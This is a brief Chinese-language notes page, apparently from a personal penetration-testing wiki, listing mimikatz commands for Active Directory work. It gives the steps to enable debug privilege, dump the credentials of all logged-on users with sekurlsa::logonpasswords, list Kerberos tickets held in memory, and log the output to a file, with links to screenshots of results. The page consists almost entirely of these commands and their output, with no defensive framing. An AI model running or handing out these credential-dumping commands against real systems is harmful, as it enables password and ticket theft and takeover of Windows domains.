# 【雜湊】【AD】mimikatz

```Powershell
PS C:\Windows\system32> cd C:\Tools

PS C:\Tools\> .\mimikatz.exe
...

mimikatz # privilege::debug
Privilege '20' OK
```

```Powershell
#傾印所有已登錄使用者的憑證
mimikatz # sekurlsa::logonpasswords
```

[![image-1702380548962.png](https://bookstack.treemanou.com/uploads/images/gallery/2023-12/scaled-1680-/TSq8nw8cZuZIZWzh-image-1702380548962.png)](https://bookstack.treemanou.com/uploads/images/gallery/2023-12/TSq8nw8cZuZIZWzh-image-1702380548962.png)

```Powershell
# 顯示存儲在內存中的票證
mimikatz # sekurlsa::tickets
```

[![image-1702380695657.png](https://bookstack.treemanou.com/uploads/images/gallery/2023-12/scaled-1680-/79170znW32xK6E2p-image-1702380695657.png)](https://bookstack.treemanou.com/uploads/images/gallery/2023-12/79170znW32xK6E2p-image-1702380695657.png)

輸出檔案

```Powershell
# 輸出log
mimikatz # log c:\output.log
Using 'output.log' for logfile : OK

# 停止log
mimikatz # log /stop
Using '(null)' for logfile : OK
```